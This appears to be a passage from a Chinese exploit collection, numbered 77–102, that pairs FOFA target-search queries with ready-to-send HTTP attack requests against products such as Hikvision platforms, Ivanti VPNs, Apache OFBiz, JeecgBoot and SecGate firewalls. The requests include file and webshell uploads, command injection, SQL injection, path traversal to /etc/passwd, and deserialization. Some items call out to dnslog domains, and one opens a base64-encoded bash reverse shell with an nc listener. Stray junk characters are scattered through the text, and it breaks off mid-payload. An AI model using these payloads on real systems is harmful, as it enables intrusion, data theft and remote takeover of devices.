! _. y- k5 D# {! Q7 P7 XPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% y, D- }2 c4 j. z. PConnection: close
Content-Length: 433
$ n; E% ^, E) w1 R% FAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
- n) O% `8 ~* g9 @
# z6 e7 p' v6 A  n1 W) h: H/ m  z5 B, E------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
/ G! Y, c; U8 I: g3 U
/upload/udplog
5 t  R2 b2 ]/ k- W  H  l/ X------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
* ~! n  b0 T  _* |5 d) A: bContent-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
0 r* R9 N7 Q5 I) bContent-Disposition: form-data; name="Upload"
1 b9 z7 H8 W: _9 p0 U
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
6 n3 p+ O! x  l% S7 Z: x$ i

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
- Z; Z6 B& N9 I( I8 K. G, l  @) dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 T% U; R% R8 {" G. ]! B& pConnection: close
Content-Length: 336
Accept-Encoding: gzip
5 B3 |5 M6 Y/ JContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
" S( R4 e0 k, Y& \
: _# H. Y0 a; l3 `5 Q1 Y1 M$ E" k+ S; Q# t------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
7 k2 {, \) E. }) [5 V
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
6 |+ d2 w. Q9 O
* I; q6 `- w. \. \. Q3 d/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

/ L' D- I9 W1 f' R
2 s$ f0 Q9 Y) U- ^. dGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
0 d# |  Y8 i1 W" K' ]7 Q# |, fHost: x.x.x.x

5 l  k$ w) }$ G/ u2 P0 ~5 W; Y
2 a7 \0 v+ Z! }- N2 D79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
% v! c/ I# A& T6 u1 h$ x% z2 X% g3 Y" |Host:IP
" t' F: t# M3 N* K6 V/ S5 y7 T; K) QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
$ E  P+ }/ ]* w5 l- o7 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: ^/ u( X* u1 p4 j9 v4 E* |, |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ x2 U- V4 ^* t) S9 O* K( N7 a- XAccept-Encoding: gzip, deflate
9 x+ G- \- V% UConnection: close
Upgrade-Insecure-Requests: 1


0 V& E. S. Q+ o: ~80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
; r( a, E  A3 r; v. wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& L( b, F5 U  x- Q& S, ~Accept-Encoding: gzip, deflate
( X+ J  ~) b$ FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& }1 i6 p0 j* s# z8 s: iConnection: close
- ]3 }) [) q0 t6 H% qContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
, R7 s" ]) c5 @/ }# C# C) ?
<% out.print("oessqeonylzaf");%>
% G2 W' B5 g/ x- X: L
% S1 t; W/ `# u. `7 u& l
0 f) i7 E  @- hGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
: J1 V4 @) a. W6 e3 w+ u

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
/ R7 ~: M) i8 n0 ?FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 e2 B- W+ |! y# iConnection: close
Accept-Encoding: gzip
+ f5 G0 o  t$ k( G

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
6 b6 j9 m( H% DPOST /bhost/test_qrcode_b HTTP/1.1
1 S9 m9 P( G) s3 b4 f( N4 PHost: BaseURL
# t/ k% Y1 q( k6 p% [0 kUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
. w8 M. W: D) P8 tContent-Type: application/x-www-form-urlencoded
$ u& Q; E+ s, h) r/ x) ]Referer: BaseURL
: P8 ]% m) _% N& z( v  @
z1=1&z2="|id;"&z3=bhost
& l- _- F' ?1 f; q

6 c: |" V0 a% n) B/ D8 O83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
" S7 E, I6 q6 h( V# W' h, PHost: x.x.x.x
: y; Q9 ]8 P/ X' g# qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
5 m6 O+ D, _1 T! }Accept-Encoding: gzip
$ D1 O6 I' Z' fCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
) s$ a3 A& p9 k5 c: W! W
PAYLOAD
  I% W. E  Q- M  G/ M- g
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
9 E3 [! x# U) g( q( @4 ?+ W9 |FOFA：title=="JeecgBoot 企业级低代码平台"
  y7 j6 W+ C. \. w* R! D2 m


" x- K" I7 }5 Q/ W# l( RPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
& @! W5 U+ \# e% i2 c3 @, BUser-Agent: curl/7.88.1
1 ^5 M( b! O/ X) aContent-Length: 156
Accept: */*
Connection: close
* Y* K4 z) U# d% CContent-Type: application/json
5 c9 \( i9 i4 tAccept-Encoding: gzip
2 `( Z. o; l8 s3 [2 l3 t
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
- E* b) W  d; u( |/ n1 w, l  "type": "0"
}
3 G9 S, K, M2 x6 m  u1 w) V
( T& C, M! @. b! t/ x$ _4 v
' r% I% R$ J* z% e" E: q" P85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
4 l+ `& k3 v, Q. d& k. t& l. X
% U' Q4 U2 }4 A: Z: GPAYLOAD
2 j# M7 w1 j: r3 m* R# ^6 k$ v
1 W. b: j" T. f/ z回显URL：http://x.x.x.x/userfiles/index.jsp
% S! j# _! W  \. S& J
86. 日本tosei自助洗衣机RCE
3 O3 h  }& k- }. {FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
4 j5 X$ o% {3 q) b3 B, LHost: x.x.x.x
( U3 j( I) R1 c6 \User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
5 P- B9 t, Z7 f/ B% a% KAccept-Encoding: gzip
' B7 V# S( B# I' y# \- U* IAccept-Language: en
" j7 |8 R: z/ A) ^$ XContent-Type: application/x-www-form-urlencoded

  E4 Z9 F) F9 p# `host=%0acat${IFS}/etc/passwd%0a&command=ping
" D8 h! j  o; A. [1 Y+ q& n! Y

87. 安恒明御安全网关aaa_local_web_preview文件上传
* {9 v6 s7 U7 jFOFA：title="明御安全网关"
% r! _0 e8 g# ^; G9 N3 E7 x' mPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
/ |( A! p7 D+ [2 P$ {* E' g; R
" B4 Y, j# D& O6 j. k9 L--qqobiandqgawlxodfiisporjwravxtvd
# u$ Q, r' W, J" m2 G: EContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
' `$ e. G* H. L  Y& ?7 ?3 tContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


" B3 v3 F8 T7 `+ a0 B- s- W1 F/jfhatuwe.php
/ x4 Z( [6 h0 \7 n0 P& e" {
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
" S" B* [& Y- ~5 O6 l1 |; yHost: x.x.x.xx.x.x.x
& W4 `7 t  q* Q  W% ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  s6 g% s* `& d2 E" \# r) LConnection: close

5 Q8 W% F4 W* a4 V0 n( U2 u$ H/ M  C, H
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
; ?* r0 C/ _' y6 i* v, \FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
5 {: [2 p5 {1 `, d- F/ h% c$ _- C$ QHost: x.x.x.x
& ?4 J& p5 `( x/ Q! Y) Z4 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 p! R$ E6 n, d$ IContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 t8 ~! J4 m3 |9 i
& `4 H5 u8 i1 g! A( j; x- Moption=2&GUID=-1'+union+select+111*222--+
& f$ O, H1 d4 e) g

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
  Z5 L- |% P$ r/ p1 [$ sContent-Length: 51
' D0 O- x0 q6 l* c2 F; I% pAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
% C6 F' N% E2 A9 z" A4 M) QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 e! j" P6 Z# LContent-Type: application/x-www-form-urlencoded
* a7 c' E5 K3 ZX-Requested-With: XMLHttpRequest

; V# J% j1 Z5 w5 u; N7 C2 C5 ajsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


  P9 f5 I# h& {' P& j% F91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
/ ^; ~# E; y9 w- X& BFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
7 a* r8 Y/ h5 d/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( C+ ~9 n' z7 d$ Q  [Accept-Encoding: gzip, deflate
& x9 @4 }' \4 o+ a1 |+ a& sAccept: */*
Connection: keep-alive
; v" c$ O/ p  ^. w1 n8 o* U
8 h+ m/ o( M) T$ D6 K0 D
! |- y4 J5 a! `* U7 E
, Q! r+ C2 _* o" j) D92. 海康威视运行管理中心session命令执行
' k* j$ V# M! s1 Y6 i2 p, U5 j$ iFastjson命令执行
9 l0 |6 ^  i! l% khunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
( C9 J+ I0 I& {: Z- B* r- zHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
4 h) X  h6 e6 o3 ]2 W2 BContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
) @- V7 H% C$ _) g+ STestcmd: echo test
* K7 u6 e' @3 m$ eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

2 u5 m2 O; @) t( c; aPAYLOAD

1 g/ g! v& y; D; @  c7 r
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
5 N2 N5 S: N- u, [1 O9 \  q, _Host: x.x.x.x
9 S$ j" a  ?$ C, L+ S9 E: a* MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
0 q: h6 c; m) G+ a0 f4 FContent-Disposition: form-data; name="MAX_FILE_SIZE"

- {: L" R. X9 H9 s, W2 I10000000
  {9 o8 @" b- s$ ^: {5 Z3 ]------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
$ }, ^1 o- W6 J: S% ?------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
1 |* V4 I2 j( K6 A5 [------WebKitFormBoundarykcbkgdfx
$ p! L3 C- f# b0 D% D% y" UContent-Disposition: form-data; name="__hash__"
6 k1 A, o) \9 A! L
0 j3 x3 l1 X2 _2 k8 k0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

$ j/ n: g; ~( w2 f4 J
+ p5 \4 {# t% I8 EGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
4 d5 l5 Y% p2 d- m" F( rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
( p* m# E- G. ?% ^& JFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
& C$ P  ~, Y- o8 ^* f9 p- mHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
' `# y6 Y0 x: M& l8 H+ J' S) xContent-Disposition: form-data; name="MAX_FILE_SIZE"
: K4 M8 D2 O) A& h# l/ @
% A1 E0 A5 a- E. i; p2 H$ l0 G  N10000000
------WebKitFormBoundarybqvzqvmt
; y7 s) n7 N8 p, |3 FContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
+ X7 r0 q( @9 R# u+ a0 u6 GContent-Type: text/plain

0 o0 j' o4 p# _/ R% h3 K+ ^% z3 |/ hpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
2 c, q$ k) e$ i# @6 [/ I+ F4 @8 P6 n/ Z
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
4 b: x4 L7 ?% E( x1 T* t/ G. T" nContent-Disposition: form-data; name="__hash__"
4 |! w( `+ L& |4 i/ J! L
0b9d6b1ab7479ab69d9f71b05e0e9445
2 P7 O' X$ H$ J( s' j------WebKitFormBoundarybqvzqvmt--
0 N: S7 B3 C# L% M& b) u7 _3 d
  w7 G; Y+ `; {( c
  N% b" Q$ R! [; a7 h. k5 Y+ O0 v
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) F7 p1 h! p5 j1 D- C2 h8 R3 t4 u
. q  k4 @1 u5 ^% J: O

' w8 k( @# F( z& m95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
5 S. {( X8 O; w) A8 RCVE-2023-49070
FOFA：app="Apache_OFBiz"
! `/ f" O1 t/ ~0 ~) ePOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
# c7 G9 O# ]& f/ z8 V: ^3 b7 dHost: x.x.x.x
6 T# a: b3 r, v- qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
; Y: B" w2 m9 C0 c8 vContent-Length: 889
6 k' f+ D* O9 b  P0 k! eContent-Type: application/xml
. C) S) z, k1 B" y, S: H) n8 QAccept-Encoding: gzip
6 s, k9 B1 Q% }* ?
! G! U% R7 `+ c3 H  _5 L3 v<?xml version="1.0"?>
<methodCall>
* P% S# Z; I- {& p   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
# |! X: g, v: Y, x+ M    <params>
, p* P7 S7 h; m" H1 r* H      <param>
      <value>
        <struct>
9 k; o9 h0 y/ f# N% |       <member>
7 _+ r4 B! N. ?) u& e          <name>test</name>
1 T% }: d7 p/ R8 @9 r          <value>
& N) i0 k9 ?4 @/ D& f      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
; v1 H% {5 f2 o$ n          </value>
        </member>
/ A2 K: P/ f) Z- t. y      </struct>
0 B6 `$ L* C9 R9 b5 K      </value>
    </param>
, O' j" j' i' j! h6 b3 F    </params>
) Q$ z# _& ~5 ]</methodCall>


用ysoserial生成payload
. i) k& l0 f! x/ l/ a. o6 }java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
" L; K+ r- j1 Z- [/ W; E# l- q5 l  G

) i" U( J' d  x& O- z! }将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
; {# t  k+ U; k' L3 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
9 @. N$ O' w4 G; y5 ~Content-Length: 889
1 V+ v4 T, H0 H' {Content-Type: application/xml
( G  n6 S4 L! W  P% V2 DAccept-Encoding: gzip

" G) {4 J9 M( E- {6 J2 R9 VPAYLOAD

; F5 M! f/ u; H( j9 ^96. Apache OFBiz  18.12.11 groovy 远程代码执行
, F! u/ `/ {2 |4 e% vFOFA：app="Apache_OFBiz"
0 O8 p# K3 Z) l; C2 f3 P- ?POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
2 a5 N8 |0 }1 L- x! ~# CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' u7 ]5 M* B2 _. YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" J3 D" k( O2 r2 }/ }9 b; @Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

, K$ q8 J) t/ {
+ n. T$ }8 C$ q8 t' T! l6 m反弹shell
! N8 _( ^1 q  `# j2 x0 i/ k在kali上启动一个监听
. F5 }8 {* M* A' |3 |9 dnc -lvp 7777

/ s  |0 U# j) b0 [7 c: F3 \POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: \& B! I) Q9 [, N3 I8 ?; }7 CAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
+ L, O# C7 Q( h1 c
4 A$ u7 M- r4 WgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

) O5 J6 B$ b# G7 J) a9 E+ z97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 \$ V$ e3 p; ~9 o4 D) sFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
( M/ z3 g3 t1 G& B! qConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
$ \) q- u& z& d7 j7 J" R) o7 C1 x
- ?4 H4 M7 S1 o% U- ~: }9 L
7 K& _# V) \, A" a" h98. SpiderFlow爬虫平台远程命令执行
* B  w' K/ O5 J) tCVE-2024-0195
, Q+ C- J9 ?& x" zFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
$ A0 H6 O" P- c% O7 `  hHost: 192.168.40.130:8088
4 G1 Z' Z$ ~& V+ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
+ j' k- Y# {4 W; A% h$ ^Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: f; B5 h1 t' m; x( CContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
2 _( O2 J$ I  y' D
* t( B; d' l& X+ d4 A5 }id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

  y$ [; w3 o' `
5 F& m7 D5 g' F4 m& `# |* A99. Ncast盈可视高清智能录播系统busiFacade RCE
4 j! u* g# ~. |5 Z* |CVE-2024-0305
( x  b7 z% \& }, Q2 J  GFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
4 h$ w0 P5 e8 K  {. }- dHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' y4 U% h5 h6 ?% j" ?Connection: close
; y; [2 F% M4 o" k( jContent-Length: 154
$ j0 d0 q: `. U" ?; P0 gAccept: */*
Accept-Encoding: gzip, deflate
: b; P5 q5 J1 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Q' `. a1 w% V% Z. o# f( x5 @X-Requested-With: XMLHttpRequest
! u( W5 F- ^) e8 q6 l: x
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
( |! X/ h" t" T4 h: L5 |
6 X. ]/ b& W) I& o  U! y7 c
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
4 j: z3 ^- c# ?, YFOFA：icon_hash="874152924"
3 c$ d9 q" d. Q0 VPOST /api/file/formimage HTTP/1.1
2 B4 I' @- y( r% C* X  JHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
' R% r6 J" a; O7 W* s: s* @/ [Content-Length: 201
) f, `& n9 B) L; b% @& yContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: J# W  R' r5 t+ V/ l  mAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
6 k# ^* W  {/ s# }! i! uContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
) L/ @* b$ Q* R8 d
7 Q9 v: L$ v2 b- R2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


" o" `1 c8 d5 h, K, M  _9 v101. ivanti policy secure-22.6命令注入
) @9 ]+ d! y4 ^3 _4 {7 wCVE-2024-21887
7 r5 u! H( @, ?- T6 O- kFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
, @% ?$ X+ l2 G6 b7 cHost: x.x.x.xx.x.x.x
" {; h' q( |- E5 z/ MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 Y1 \- U6 O& \& K, [- t9 j& HConnection: close
8 s  N0 a4 \$ B5 {- ^Accept-Encoding: gzip
0 s# w/ b% R$ B2 |9 T3 W
4 @/ b) M6 q! ~9 n
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
5 r8 s4 `2 [3 {$ p3 B% C% jFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
9 ?$ w- ~) S. _* t* ZHost: x.x.x.x
& |' q! w  k$ ^" D! vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
* {3 a# t% ~' x0 _* R8 HContent-Length: 792
+ H5 F+ A1 T) a2 aAccept-Encoding: gzip

7 @0 B0 |# q: G8 o  o; V, g5 K7 m<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                  